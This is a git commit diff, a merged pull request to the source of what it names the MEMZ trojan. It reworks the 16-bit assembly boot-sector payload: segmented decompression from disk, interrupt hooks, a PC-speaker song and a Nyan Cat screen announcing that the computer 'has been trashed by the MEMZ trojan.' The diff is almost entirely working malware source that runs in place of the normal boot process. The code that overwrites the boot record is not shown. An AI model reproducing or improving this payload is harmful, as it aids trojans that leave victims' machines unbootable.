Merge pull request #30 from Mintz98/master

i added segmentation, now the code can be 64K
This commit is contained in:
Leurak 2017-05-12 19:09:17 +02:00 committed by GitHub
commit e2437acf45
14 changed files with 121 additions and 75 deletions

View file

@ -1,28 +1,33 @@
start:
xor bx, bx
; Dump compressed data to segment 1000:0000 instead
mov bx, 0x1000
mov es, bx
mov ds, bx
; Read from disk
mov ax, 0x0208
mov cx, 0x0002
mov dh, 0
mov bx, compressed
xor bx, bx ; (ip: address 0)
int 13h
; Source segment DS (1000:0000)
push es
pop ds
; Target 2000:0000 segment for uncompressed data
mov ax, 0x2000
mov es, ax
xor ax, ax
mov bx, ax
mov cx, ax
mov dx, ax
mov si, compressed
mov di, decompressed
jmp readcommand
mov di, ax
mov si, ax
readcommand:
lodsb
cmp si, compressed+compsize
cmp si, compsize
jae exit
cmp al, 128
@ -50,20 +55,23 @@ olddata:
mov bx, ax
lodsb
push ds
push 0x2000
pop ds
mov dx, si
mov si, bx
add si, decompressed
mov cl, al
mov cl, al
oldnextbyte:
lodsb
stosb
dec cl
cmp cl, 0
jne oldnextbyte
loop oldnextbyte
mov si, dx
pop ds
jmp readcommand
exit:
exit:

View file

@ -1,11 +1,28 @@
use16
org 0x7c00
compressed: equ 0x7e00
decompressed: equ 0x8E00
;setup cpu
;correct cs
jmp 0x0000:correct_cs
correct_cs:
; setup stack properly
cli
xor ax, ax
mov ss, ax
mov sp, 0x7BF0
sti
%include "decompress.asm" ; Decompress Code & Data
jmp decompressed ; Jump to the decompressed Data, booting the actual Kernel
; Prepare the CPU segments
mov ax, 0x2000
mov ds, ax
mov es, ax
jmp 0x2000:0x0000 ; Jump to the decompressed Data, booting the actual "Kernel"
; Boot sector signature
times 510 - ($ - $$) db 0
@ -17,4 +34,4 @@ compsize: equ $-comp
; Align it to sectors
;align 512
times 4096 - ($ - $$) db 0
times 4096 - ($ - $$) db 0

View file

@ -1,6 +1,10 @@
drawIntroFrame:
push es
push 0xb800
pop es
; Increase the frame tick counter to make the intro run faster
mov byte [cs:frameTickCounter], 5
mov byte [frameTickCounter], 5
; Check if message is already fully displayed
cmp si, messageLength
@ -9,12 +13,14 @@ drawIntroFrame:
mov di, si
imul di, 2
mov byte al, [cs:si+message]
mov byte al, [si+message]
mov byte [es:di], al
mov byte [es:di+1], 0xf0
inc si
mov [cs:frameIndex], si
mov [frameIndex], si
.end: ret
.end:
pop es
ret

View file

@ -1,5 +1,9 @@
drawNormalFrame:
mov ax, [cs:nyanTimeBin]
push es
push 0xb800
pop es
mov ax, [nyanTimeBin]
mov dx, 0
mov bx, 10
div bx
@ -21,6 +25,8 @@ drawNormalFrame:
inc di
loop .draw
mov [cs:frameIndex], si
mov [frameIndex], si
.end: ret
.end:
pop es
ret

View file

@ -1,5 +1,10 @@
initDrawing:
setVideoMemory
; Set the extra segment to video memory
push es
push 0xb800
pop es
mov di, 0
mov ax, 0x00DC
@ -16,5 +21,7 @@ initDrawing:
mov al, 0xDC
mov cx, frameSize - nyanTimeVideoStart/2 - nyanTimeStringLen
rep stosw
pop es
ret
ret

View file

@ -5,9 +5,14 @@ nyanTimeVideoStart: equ 3840
nyanTimeBin dw 0
countNyan:
setVideoMemory
; Set the extra segment to video memory
push es
push 0xb800
pop es
mov di, 0
inc word [cs:nyanTimeBin]
inc word [nyanTimeBin]
mov bx, nyanTimeStringLen*2
@ -34,4 +39,6 @@ countNyan:
cmp bx, 0
jne .loop
.end: ret
.end:
pop es
ret

View file

@ -4,15 +4,16 @@ frameSize: equ (80*50) / 2 ; Raw binary size of a frame
lastFrame: equ special
displayFrame:
setVideoMemory
; Set the extra segment to video memory
push es
push 0xb800
pop es
mov di, 0
; Set data section
mov cx, 0
mov ds, cx
mov si, [frameIndex]
mov si, [cs:frameIndex]
cmp word [cs:soundIndex], lastIntroNote
cmp word [soundIndex], lastIntroNote
ja .normalFrame
jne .introFrame
@ -37,12 +38,14 @@ displayFrame:
call drawNormalFrame
; Reset frame index when the last frame has been reached
cmp word [cs:frameIndex], lastFrame
cmp word [frameIndex], lastFrame
jb .end
mov word [cs:frameIndex], frames
mov word [frameIndex], frames
.end: ret
.end:
pop es
ret
%include "Animation/Image/initDrawing.asm"
%include "Animation/Image/drawIntroFrame.asm"
%include "Animation/Image/drawNormalFrame.asm"
%include "Animation/Image/drawNormalFrame.asm"

View file

@ -5,11 +5,8 @@ soundIndex dw song
soundWait db 0
playNote:
; Set Data section
mov cx, 0
mov ds, cx
mov si, [cs:soundIndex]
mov si, [soundIndex]
cmp si, lastNote
jb .nextNote
@ -18,8 +15,8 @@ playNote:
mov si, lastIntroNote
.nextNote:
dec byte [cs:soundWait]
cmp byte [cs:soundWait], -1
dec byte [soundWait]
cmp byte [soundWait], -1
jne .end
lodsw
@ -32,8 +29,8 @@ playNote:
out 0x42, al
shr ch, 5
mov [cs:soundWait], ch
mov [soundWait], ch
mov [cs:soundIndex], si
mov [soundIndex], si
.end: ret
.end: ret

View file

@ -14,4 +14,4 @@ keyboardHandler:
onKey 0x1F, speedUp ; Speed up the main timer when S is pressed
finishInterrupt
finishInterrupt

View file

@ -17,8 +17,8 @@ nyanTickCounter db 0
timerHandler:
startInterrupt
onTimer [cs:frameTickCounter], 8, displayFrame
onTimer [cs:noteTickCounter], 12, playNote
onTimer [cs:nyanTickCounter], 10, countNyan
onTimer [frameTickCounter], 8, displayFrame
onTimer [noteTickCounter], 12, playNote
onTimer [nyanTickCounter], 10, countNyan
finishInterrupt
finishInterrupt

View file

@ -7,9 +7,6 @@ mov ax, 0x1003
mov bl, 0
int 10h
; Put the stack somewhere safe
mov sp, 0x2000
; Setup the main timer
%include "Setup/setupTimer.asm"
@ -20,4 +17,4 @@ mov sp, 0x2000
%include "Setup/setupSpeaker.asm"
; Setup the screen and Nyan Counter
call initDrawing
call initDrawing

View file

@ -13,16 +13,13 @@
%macro setupInterrupt 2
; Set the right segments
mov bx, 0x0000
mov es, bx
push ds
push 0x0000
pop ds
; Register the handler
mov word [es:(%1+8)*4], %2 ; Interrupt Handler
mov word [es:(%1+8)*4+2], 0 ; Segment 0x0000
%endmacro
%macro setVideoMemory 0
; Set the extra segment to video memory
mov cx, 0xb800
mov es, cx
mov word [(%1+8)*4], %2 ; Interrupt Handler
mov word [(%1+8)*4+2], 0x2000 ; Segment 0x2000
pop ds
%endmacro

View file

@ -3,7 +3,7 @@ currentClock dw defaultClock
; Updates the current timer value
setTimer:
mov ax, [cs:currentClock]
mov ax, [currentClock]
out 0x40, al
mov al, ah
out 0x40, al
@ -20,7 +20,7 @@ clockDiv equ 3
; Speeds up the current timer
speedUp:
mov ax, [cs:currentClock]
mov ax, [currentClock]
mov bx, clockPreMul
mul bx
@ -35,7 +35,7 @@ speedUp:
mov ax, minClock
.resetTimer:
mov [cs:currentClock], ax
mov [currentClock], ax
call setTimer
ret
ret

View file

@ -1,13 +1,14 @@
; This is where the program starts after decompression
use16
org 0x8E00
org 0
%include "Utils/macros.asm"
%include "Setup/setup.asm"
; Everything should be already set up, so the only
; thing we need to do here is to wait for interrupts
haltLoop:
hlt
jmp haltLoop
@ -41,4 +42,4 @@ song: incbin "../../Build/song.bin"
songLength: equ $-song
message: db "Your computer has been trashed by the MEMZ trojan. Now enjoy the Nyan Cat..."
messageLength: equ $-message
messageLength: equ $-message